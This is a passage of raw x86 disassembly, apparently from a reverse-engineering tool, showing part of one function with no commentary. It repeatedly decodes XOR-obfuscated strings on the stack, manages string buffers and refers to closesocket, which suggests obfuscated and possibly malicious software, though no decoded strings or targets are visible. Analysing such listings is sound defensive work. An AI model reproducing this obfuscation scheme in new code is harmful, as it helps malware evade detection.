mov dword [ebp - 0x14], eax
cmovae edi, dword [ebp - 0x568]
mov dword [ebp - 0x1c], eax
mov esi, edi
mov eax, dword [ebp - 0x24]
lea edx, [esi + 1]
lea ecx, [eax + eax*2]
mov eax, dword [ebp - 0x38]
lea ecx, [eax + ecx*8]
mov dword [ebp - 0x20], ecx
mov al, byte [esi]
inc esi
test al, al
jne 0x4290e0
mov eax, closesocket
sub esi, edx
sub eax, dword [ecx + 0x10]
cmp eax, esi
jb 0x42b60f
call fcn.00402b50
mov ecx, dword [ebp - 0x20]
push esi
push edi
push dword [ecx + 0x10]
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x820]
call fcn.0048aa20
mov dword [ebp - 4], 0x2c
lea edi, [ebp - 0x820]
mov eax, dword [ebp - 0x14]
or eax, 0x400
xorps xmm0, xmm0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov byte [ebp - 0xd9], 0xdb
movq qword [ebp - 0xd8], xmm0
mov word [ebp - 0xd0], 0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xd9], al
inc ecx
cmp ecx, 1
jb 0x429150
mov dword [0x55d620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xd9]
mov byte [ebp - 0xd8], 0
movups xmmword [ebp - 0x3b8], xmm0
mov dword [ebp - 0x3a8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3a4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x429195
sub ecx, edx
lea eax, [ebp - 0xd9]
push ecx
push eax
lea ecx, [ebp - 0x3b8]
call fcn.00402b80
mov dword [ebp - 4], 0x2d
lea edx, [ebp - 0x3b8]
cmp dword [ebp - 0x3a4], 0x10
cmovae edx, dword [ebp - 0x3b8]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4291d1
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x50]
sub eax, esi
cmp eax, ecx
jb 0x42b60f
cmp dword [ebp - 0x4c], 0x10
lea eax, [ebp - 0x60]
push ecx
cmovae eax, dword [ebp - 0x60]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x65c]
call fcn.0048aa20
sub esp, 0x18
mov byte [ebp - 4], 0x2e
mov ecx, esp
lea eax, [ebp - 0x65c]
mov dword [ebp - 0x20], ecx
push edi
push eax
push dword [ebp - 0x20]
call fcn.0048a830
call fcn.0040da60
mov byte [ebp - 4], 0x2d
add esp, 0x18
mov ecx, dword [ebp - 0x648]
mov byte [ebp - 0x15], al
cmp ecx, 0x10
jb 0x42926f
mov edx, dword [ebp - 0x65c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x429265
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x2c
mov ecx, dword [ebp - 0x3a4]
mov dword [ebp - 0x64c], 0
mov dword [ebp - 0x648], 0xf
mov byte [ebp - 0x65c], 0
cmp ecx, 0x10
jb 0x4292c8
mov edx, dword [ebp - 0x3b8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4292be
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x3a8], 0
mov dword [ebp - 0x3a4], 0xf
mov byte [ebp - 0x3b8], 0
test eax, 0x400
je 0x429306
and eax, 0xfffffbff
lea ecx, [ebp - 0x820]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
test eax, 0x200
je 0x429326
and eax, 0xfffffdff
lea ecx, [ebp - 0x568]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
test eax, 0x100
je 0x429346
and eax, 0xfffffeff
lea ecx, [ebp - 0x70c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0x1b
test al, al
jns 0x429367
and eax, 0xffffff7f
lea ecx, [ebp - 0x550]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402a10
cmp byte [ebp - 0x15], 0
je 0x4293f7
movaps xmm0, xmmword [0x5482f0]
xor ecx, ecx
mov dword [ebp - 0x1c9], 0xebeae7cb
mov dword [ebp - 0x1c5], 0xebffdce7
mov byte [ebp - 0x1c1], 0xe9
movups xmmword [ebp - 0x1c0], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x1c9], al
inc ecx
cmp ecx, 0xf
jb 0x4293a0
lea eax, [ebp - 0x1c9]
mov dword [0x55d558], ecx
push eax
lea ecx, [ebp - 0x838]
mov byte [ebp - 0x1ba], 0
call fcn.00402ab0
lea ecx, [ebp - 0x838]
mov byte [ebp - 4], 0x2f
call fcn.00402b50
push eax
lea ecx, [ebx + 0x54]
call fcn.00482e30
lea ecx, [ebp - 0x838]
mov byte [ebp - 4], 0x1b
call fcn.00402a10
cmp byte [ebx + 8], 0
xorps xmm0, xmm0
je 0x429439
movups xmmword [ebp - 0x474], xmm0
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x460], 0xf
mov byte [ebp - 0x474], 0
mov byte [ebp - 4], 0x30
lea edi, [ebp - 0x474]
mov eax, dword [ebp - 0x14]
or eax, 0x800
jmp 0x42953e
mov byte [ebp - 0xe4], 0xdb
xor ecx, ecx
movq qword [ebp - 0xe3], xmm0
mov word [ebp - 0xdb], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xe4], al
inc ecx
cmp ecx, 1
jb 0x429453
mov dword [0x55d620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xe4]
mov byte [ebp - 0xe3], 0
movups xmmword [ebp - 0x420], xmm0
mov dword [ebp - 0x410], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x40c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x429498
sub ecx, edx
lea eax, [ebp - 0xe4]
push ecx
push eax
lea ecx, [ebp - 0x420]
call fcn.00402b80
mov dword [ebp - 4], 0x31
lea esi, [ebp - 0x420]
mov eax, dword [ebp - 0x14]
or eax, 0x1000
cmp dword [ebp - 0x40c], 0x10
mov dword [ebp - 0x14], eax
cmovae esi, dword [ebp - 0x420]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
lea ecx, [eax + eax*2]
mov eax, dword [ebp - 0x38]
mov edi, dword [eax + ecx*8 + 0x10]
lea edx, [eax + ecx*8]
mov ecx, esi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4294f5
sub ecx, dword [ebp - 0x20]
mov eax, closesocket
sub eax, edi
cmp eax, ecx
jb 0x42b60f
cmp dword [edx + 0x14], 0x10
jb 0x429516
mov edx, dword [edx]
push ecx
push esi
push edi
push edx
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x6a4]
call fcn.0048aa20
mov dword [ebp - 4], 0x32
lea edi, [ebp - 0x6a4]
mov eax, dword [ebp - 0x14]
or eax, 0x2000
xorps xmm0, xmm0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov byte [ebp - 0xef], 0xdb
movq qword [ebp - 0xee], xmm0
mov word [ebp - 0xe6], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xef], al
inc ecx
cmp ecx, 1
jb 0x429561
mov dword [0x55d620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xef]
mov byte [ebp - 0xee], 0
movups xmmword [ebp - 0x3a0], xmm0
mov dword [ebp - 0x390], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4295a6
sub ecx, edx
lea eax, [ebp - 0xef]
push ecx
push eax
lea ecx, [ebp - 0x3a0]
call fcn.00402b80
mov dword [ebp - 4], 0x33
lea edx, [ebp - 0x3a0]
cmp dword [ebp - 0x38c], 0x10
cmovae edx, dword [ebp - 0x3a0]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4295e2
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x50]
sub eax, esi
cmp eax, ecx
jb 0x42b60f
cmp dword [ebp - 0x4c], 0x10
lea eax, [ebp - 0x60]
push ecx
cmovae eax, dword [ebp - 0x60]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x68c]
call fcn.0048aa20
push edi
lea eax, [ebp - 0x68c]
mov byte [ebp - 4], 0x34
push eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x674]
call fcn.0048a830
sub esp, 0x18
mov byte [ebp - 4], 0x35
mov esi, esp
lea eax, [ebx + 0x54]
lea ecx, [ebp - 0x674]
mov dword [ebp - 0x20], esi
push eax
call fcn.00482d90
xorps xmm0, xmm0
lea ecx, [ebp - 0x598]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.0040d3d0
add esp, 0x18
mov byte [ebp - 4], 0x37
mov ecx, dword [ebp - 0x660]
cmp ecx, 0x10
jb 0x4296d1
mov edx, dword [ebp - 0x674]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4296c7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x664], 0
mov dword [ebp - 0x660], 0xf
mov byte [ebp - 0x674], 0
mov byte [ebp - 4], 0x38
mov ecx, dword [ebp - 0x678]
cmp ecx, 0x10
jb 0x42972a
mov edx, dword [ebp - 0x68c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x429720
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x67c], 0
mov dword [ebp - 0x678], 0xf
mov byte [ebp - 0x68c], 0
mov byte [ebp - 4], 0x39
mov ecx, dword [ebp - 0x38c]
cmp ecx, 0x10
jb 0x429783
mov edx, dword [ebp - 0x3a0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x429779
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x390], 0
mov dword [ebp - 0x38c], 0xf
mov byte [ebp - 0x3a0], 0
mov byte [ebp - 4], 0x3a
mov eax, dword [ebp - 0x14]
test eax, 0x2000
je 0x42980f
mov ecx, dword [ebp - 0x690]
and eax, 0xffffdfff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x4297f4
mov edx, dword [ebp - 0x6a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4297e7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0x694], 0
mov dword [ebp - 0x690], 0xf
mov byte [ebp - 0x6a4], 0
mov byte [ebp - 4], 0x3b
test eax, 0x1000
je 0x42987d
mov ecx, dword [ebp - 0x40c]
and eax, 0xffffefff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x429862
mov edx, dword [ebp - 0x420]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x429855
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0x410], 0
mov dword [ebp - 0x40c], 0xf
mov byte [ebp - 0x420], 0
mov byte [ebp - 4], 0x3c
test eax, 0x800
je 0x4298e8
mov ecx, dword [ebp - 0x460]
and eax, 0xfffff7ff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x4298cd
mov edx, dword [ebp - 0x474]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4298c3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x460], 0xf
mov byte [ebp - 0x474], 0
xorps xmm0, xmm0
mov dword [ebp - 0x19c], 0xf
xor eax, eax
movups xmmword [ebp - 0x1b0], xmm0
mov dword [ebp - 0x1a0], eax
mov byte [ebp - 0x1b0], al
mov byte [ebp - 4], 0x3d
cmp dword [ebp - 0x588], eax
je 0x429cd3
cmp dword [ebp - 0x3f8], eax
jne 0x429cd3
sub esp, 0x28
lea edx, [ebp - 0x598]
mov eax, esp
lea ecx, [ebp - 0x5e0]
push 0
push 1
mov dword [eax + 0x24], 0
call fcn.00487220
add esp, 0x30
mov byte [ebp - 4], 0x3e
xor ecx, ecx
movaps xmm0, xmmword [0x5482c0]
mov word [ebp - 0x444], 0xfbe8
movups xmmword [ebp - 0x442], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x444], al
inc ecx
cmp ecx, 8
jb 0x429970
mov dword [0x55d624], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x444]
mov byte [ebp - 0x43c], 0
movups xmmword [ebp - 0x580], xmm0
mov dword [ebp - 0x570], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x56c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4299b5
sub ecx, edx
lea eax, [ebp - 0x444]
push ecx
push eax
lea ecx, [ebp - 0x580]
call fcn.00402b80
mov byte [ebp - 4], 0x3f
lea eax, [ebp - 0x580]
mov edi, dword [ebp - 0x14]
lea ecx, [ebp - 0x5e0]
or edi, 0x4000
cmp dword [ebp - 0x56c], 0x10
mov dword [ebp - 0x14], edi
cmovae eax, dword [ebp - 0x580]
push eax
mov dword [ebp - 0x1c], edi
call fcn.00486ff0
cmp byte [eax], 0
je 0x429b12
movaps xmm0, xmmword [0x5482c0]
xor ecx, ecx
mov word [ebp - 0x515], 0xfbe8
movups xmmword [ebp - 0x513], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x515], al
inc ecx
cmp ecx, 8
jb 0x429a30
lea eax, [ebp - 0x515]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0x868]
mov byte [ebp - 0x50d], 0
call fcn.00402ab0
mov dword [ebp - 4], 0x40
lea ecx, [ebp - 0x868]
or edi, 0x8000
mov dword [ebp - 0x1c], edi
call fcn.00402b50
push eax
lea ecx, [ebp - 0x5e0]
call fcn.00486ff0
movaps xmm0, xmmword [0x547c00]
mov esi, eax
mov dword [ebp - 0x259], 0xf8eae6e2
xor ecx, ecx
mov word [ebp - 0x255], 0xfcf2
mov byte [ebp - 0x253], 0xf9
movups xmmword [ebp - 0x252], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x259], al
inc ecx
cmp ecx, 0xd
jb 0x429ab3
lea eax, [ebp - 0x259]
mov dword [0x55d57c], ecx
push eax
lea ecx, [ebp - 0x850]
mov byte [ebp - 0x24c], 0
call fcn.00402ab0
mov dword [ebp - 4], 0x41
lea ecx, [ebp - 0x850]
or edi, 0x10000
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x1c], edi
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00486ff0
mov byte [ebp - 0x15], 1
cmp byte [eax], 0
jne 0x429b16
mov byte [ebp - 0x15], 0
mov eax, dword [ebp - 0x14]
test eax, 0x10000
je 0x429b39
and eax, 0xfffeffff
lea ecx, [ebp - 0x850]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
test eax, 0x8000
je 0x429b59
and eax, 0xffff7fff
lea ecx, [ebp - 0x868]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0x3e
test eax, 0x4000
je 0x429b7d
and eax, 0xffffbfff
lea ecx, [ebp - 0x580]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402a10
cmp byte [ebp - 0x15], 0
je 0x429cbe
movaps xmm0, xmmword [0x5482c0]
xor ecx, ecx
mov word [ebp - 0x503], 0xfbe8
movups xmmword [ebp - 0x501], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x503], al
inc ecx
cmp ecx, 8
jb 0x429ba0
lea eax, [ebp - 0x503]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0x898]
mov byte [ebp - 0x4fb], 0
call fcn.00402ab0
lea ecx, [ebp - 0x898]
mov byte [ebp - 4], 0x42
call fcn.00402b50
push eax
lea ecx, [ebp - 0x5e0]
call fcn.00486ff0
movaps xmm0, xmmword [0x547c00]
mov esi, eax
mov dword [ebp - 0x270], 0xf8eae6e2
xor ecx, ecx
mov word [ebp - 0x26c], 0xfcf2
mov byte [ebp - 0x26a], 0xf9
movups xmmword [ebp - 0x269], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x270], al
inc ecx
cmp ecx, 0xd
jb 0x429c20
lea eax, [ebp - 0x270]
mov dword [0x55d57c], ecx
push eax
lea ecx, [ebp - 0x880]
mov byte [ebp - 0x263], 0
call fcn.00402ab0
lea ecx, [ebp - 0x880]
mov byte [ebp - 4], 0x43
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00486ff0
lea ecx, [ebp - 0x9b8]
push ecx
mov ecx, eax
call fcn.00487130
mov edx, eax
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x9a0]
call fcn.004028f0
push eax
lea ecx, [ebp - 0x1b0]
call fcn.00482e90
lea ecx, [ebp - 0x9a0]
call fcn.00402a10
lea ecx, [ebp - 0x9b8]
call fcn.00402a10
lea ecx, [ebp - 0x880]
call fcn.00402a10
lea ecx, [ebp - 0x898]
call fcn.00402a10
lea ecx, [ebp - 0x5e0]
mov byte [ebp - 4], 0x3d
call fcn.00480b00
mov eax, dword [ebp - 0x1a0]
test eax, eax
jne 0x429d05
cmp dword [ebp - 0x3f4], 0x10
lea eax, [ebp - 0x408]
push dword [ebp - 0x3f8]
cmovae eax, dword [ebp - 0x408]
lea ecx, [ebp - 0x1b0]
push eax
call fcn.00482bf0
mov eax, dword [ebp - 0x1a0]
test eax, eax
setne byte [ebp - 0x29]
xorps xmm0, xmm0
cmp byte [ebx + 8], 0
je 0x429d4b
movups xmmword [ebp - 0x48c], xmm0
mov dword [ebp - 0x47c], 0
mov dword [ebp - 0x478], 0xf
mov byte [ebp - 0x48c], 0
mov byte [ebp - 4], 0x45
lea edi, [ebp - 0x48c]
mov eax, dword [ebp - 0x14]
or eax, 0x20000
jmp 0x429e59
mov byte [ebp - 0xfa], 0xdb
xor ecx, ecx
movq qword [ebp - 0xf9], xmm0
mov word [ebp - 0xf1], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xfa], al
inc ecx
cmp ecx, 1
jb 0x429d65
mov dword [0x55d620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xfa]
mov byte [ebp - 0xf9], 0
movups xmmword [ebp - 0x370], xmm0
mov dword [ebp - 0x360], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x35c], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x429db0
sub ecx, edx
lea eax, [ebp - 0xfa]
push ecx
push eax
lea ecx, [ebp - 0x370]
call fcn.00402b80
mov dword [ebp - 4], 0x46
lea esi, [ebp - 0x370]
mov eax, dword [ebp - 0x14]
or eax, 0x40000
cmp dword [ebp - 0x35c], 0x10
mov dword [ebp - 0x14], eax
cmovae esi, dword [ebp - 0x370]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
lea ecx, [eax + eax*2]
mov eax, dword [ebp - 0x38]
mov edi, dword [eax + ecx*8 + 0x10]
lea edx, [eax + ecx*8]
mov ecx, esi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x429e10
sub ecx, dword [ebp - 0x20]
mov eax, closesocket
sub eax, edi
cmp eax, ecx
jb 0x42b60f
cmp dword [edx + 0x14], 0x10
jb 0x429e31
mov edx, dword [edx]
push ecx
push esi
push edi
push edx
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x6d4]
call fcn.0048aa20
mov dword [ebp - 4], 0x47
lea edi, [ebp - 0x6d4]
mov eax, dword [ebp - 0x14]
or eax, 0x80000
xorps xmm0, xmm0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov byte [ebp - 0x105], 0xdb
movq qword [ebp - 0x104], xmm0
mov word [ebp - 0xfc], 0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x105], al
inc ecx
cmp ecx, 1
jb 0x429e80
mov dword [0x55d620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x105]
mov byte [ebp - 0x104], 0
movups xmmword [ebp - 0x388], xmm0
mov dword [ebp - 0x378], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x374], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x429ec5
sub ecx, edx
lea eax, [ebp - 0x105]
push ecx
push eax
lea ecx, [ebp - 0x388]
call fcn.00402b80
mov dword [ebp - 4], 0x48
lea esi, [ebp - 0x388]
cmp dword [ebp - 0x374], 0x10
cmovae esi, dword [ebp - 0x388]
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x429f01
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x50]
sub eax, edx
cmp eax, ecx
jb 0x42b60f
cmp dword [ebp - 0x4c], 0x10
lea eax, [ebp - 0x60]
push ecx
cmovae eax, dword [ebp - 0x60]
push esi
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x6bc]
call fcn.0048aa20
push edi
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 0x49
push eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1fc]
call fcn.0048a830
mov eax, dword [ebp - 0x14]
or eax, 0x80000000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x4a
lea ecx, [ebx + 0x3c]
cmp dword [ebx + 0x50], 0x10
mov esi, dword [ebp - 0x1e8]
mov eax, esi
cmovae ecx, dword [ebx + 0x3c]
mov edi, dword [ebx + 0x4c]
mov edx, dword [ebp - 0x1ec]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x429fbb
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x1ec], eax
lea eax, [ebp - 0x1fc]
cmovae eax, dword [ebp - 0x1fc]
lea esi, [eax + edx]
push esi
call fcn.004fcb50
add esp, 0xc
mov byte [edi + esi], 0
lea eax, [ebp - 0x1fc]
jmp 0x429fce
mov byte [ebp - 0x40], 0
lea ecx, [ebp - 0x1fc]
push dword [ebp - 0x40]
push edi
call fcn.00488e80
mov dword [ebp - 0x204], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x214], xmm0
mov dword [ebp - 0x200], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x214], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x204], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ebp - 0x14]
or eax, 0x40000000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x4c
mov ecx, dword [ebp - 0x1e8]
cmp ecx, 0x10
jb 0x42a060
mov edx, dword [ebp - 0x1fc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a056
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x1ec], 0
mov dword [ebp - 0x1e8], 0xf
mov byte [ebp - 0x1fc], 0
mov byte [ebp - 4], 0x4d
mov ecx, dword [ebp - 0x6a8]
cmp ecx, 0x10
jb 0x42a0b9
mov edx, dword [ebp - 0x6bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a0af
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x6ac], 0
mov dword [ebp - 0x6a8], 0xf
mov byte [ebp - 0x6bc], 0
mov byte [ebp - 4], 0x4e
mov ecx, dword [ebp - 0x374]
cmp ecx, 0x10
jb 0x42a112
mov edx, dword [ebp - 0x388]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a108
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x378], 0
mov dword [ebp - 0x374], 0xf
mov byte [ebp - 0x388], 0
mov byte [ebp - 4], 0x4f
mov eax, dword [ebp - 0x14]
test eax, 0x80000
je 0x42a19e
mov ecx, dword [ebp - 0x6c0]
and eax, 0xfff7ffff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42a183
mov edx, dword [ebp - 0x6d4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a176
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0x6c4], 0
mov dword [ebp - 0x6c0], 0xf
mov byte [ebp - 0x6d4], 0
mov byte [ebp - 4], 0x50
test eax, 0x40000
je 0x42a20c
mov ecx, dword [ebp - 0x35c]
and eax, 0xfffbffff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42a1f1
mov edx, dword [ebp - 0x370]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a1e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0x360], 0
mov dword [ebp - 0x35c], 0xf
mov byte [ebp - 0x370], 0
mov byte [ebp - 4], 0x51
test eax, 0x20000
je 0x42a277
mov ecx, dword [ebp - 0x478]
and eax, 0xfffdffff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42a25c
mov edx, dword [ebp - 0x48c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a252
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x47c], 0
mov dword [ebp - 0x478], 0xf
mov byte [ebp - 0x48c], 0
cmp dword [ebp - 0x200], 0x10
lea ecx, [ebp - 0x214]
lea edx, [ebp - 0x44]
cmovae ecx, dword [ebp - 0x214]
call fcn.00419620
test eax, eax
jne 0x42b2ca
movaps xmm0, xmmword [0x549590]
xor ecx, ecx
movups xmmword [ebp - 0x777], xmm0
mov word [ebp - 0x737], 0x8588
movaps xmm0, xmmword [0x5491d0]
movups xmmword [ebp - 0x767], xmm0
mov byte [ebp - 0x735], 0xe9
movaps xmm0, xmmword [0x548d40]
movups xmmword [ebp - 0x757], xmm0
movaps xmm0, xmmword [0x548780]
movups xmmword [ebp - 0x747], xmm0
movaps xmm0, xmmword [0x546ec0]
movups xmmword [ebp - 0x734], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x777], al
inc ecx
cmp ecx, 0x49
jb 0x42a2f3
mov dword [0x55d580], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x777]
mov byte [ebp - 0x72e], 0
movups xmmword [ebp - 0x4a4], xmm0
mov dword [ebp - 0x494], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x490], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a338
sub ecx, edx
lea eax, [ebp - 0x777]
push ecx
push eax
lea ecx, [ebp - 0x4a4]
call fcn.00402b80
mov edx, dword [ebp - 0x490]
